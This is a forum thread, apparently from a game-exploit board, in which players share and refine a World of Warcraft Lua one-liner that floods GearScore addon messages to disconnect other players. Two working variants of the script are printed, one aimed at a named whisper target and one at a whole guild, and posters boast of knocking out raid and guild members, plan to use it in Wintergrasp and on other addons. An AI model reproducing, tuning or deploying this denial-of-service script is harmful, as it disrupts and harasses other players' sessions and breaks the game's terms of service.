Disconnect Anyone Using GearScore Addon

[Ssateneth]

+rep'd. DC'd about 20% of my last AV group repeatedly. Had one person wondering why he was spam whispering me..

[Ssateneth]

any idea how to make it work for custom channels or general / trade chat?
using 'GENERAL' just gave me a whole lot of errors

It's impossible to send addon messages to anything except BGs, raids, parties, and whispers. You can do it to a select couple of people with whisper but doing too many seperate whisper targets may DC you instead.

Thank you for this , Unlimited enjoyment

change the "0.7" in the script to "1.0" and you should not disconnect

that didnt work

i changed the other value too

Thanks! What can be better than preventing other people to enjoy their gaming time? 6):

I dont know if one of my guildys was using an addon to track this or not but he sent me a whisper explaining how I was somehow forcing his client to send me whispers constantly (this was while i had the script enabled).
I didnt see these whispers I was 'forcing' him to send

this could be an issue as I think eventually you will run into a non guildy who will probably report you

so they would report you for there add on DCing them >.>

it is using a script with malicious intent against other users, I am fairly certain that blizz would start throwing around bans for this....

also just tried in wintergrasp and managed to dc almost all of the raid for 40 seconds, none of them sent me a tell saying "wtf are you doing to me"

and if you have multiple accounts you can dc one faction in wintergrasp and let the other win when one faction sevearly outnumbers the other

Not possible: API SendAddonMessage - WoWWiki - Your guide to the World of Warcraft

You may target specific people with

/script t=0;z=10;CreateFrame("frame"):SetScript("OnUpdate", function(s,e) if t>0.7 then for i=0,100 do SendAddonMessage("GearScore_Version","","WHISPER","HURFDURFTARGETNAME")end;if z>1 then t=0 else z=z-1 end elseif z>1 then t=t+e end end)

Be VERY careful with this exploit, I suspect that you will absolutely be banned for this. Blizzard takes denial of service very seriously, and this is pretty much a textbook definition of it.

Roflmao, awesome xD
Anything to annoy people

A rep cookie for you.
Nice find. :]

Hilarious-- just knocked out 12 guildies lol -- No one said anything to me either... But, I AM the guild leader so maybe they wouldn't. Is this an anonymous command or can they see it is you that forced their addon to d/c them?

[kargho]

Im thinking that this exploit can be used to target people with other addons.

All you would need to do is find an addon using the addon chat channel (or do they all use it by default even if they dont need to communicate?) that everyone uses like deady boss mods.
Then possibly adapt it (Im not sure if the variables used in the original script are addon specific or not). I will play around with it a bit and post if i get anywhere.

/script t=0;z=10;CreateFrame("frame"):SetScript("OnUpdate", function(s,e) if t>0.7 then for i=0,100 do SendAddonMessage("GearScore_Version","","GUILD","")end;if z>1 then t=0 else z=z-1 end elseif z>1 then t=t+e end end)

DC me too =\ but i dont have addon

Yay! I'm glad you guys are enjoying this - I can't wait till prime tonight in WG.... If I see a bunch of alliance coming to me I am going to spam that script and hope they disappear, cause I want to see if it works with opposite faction.
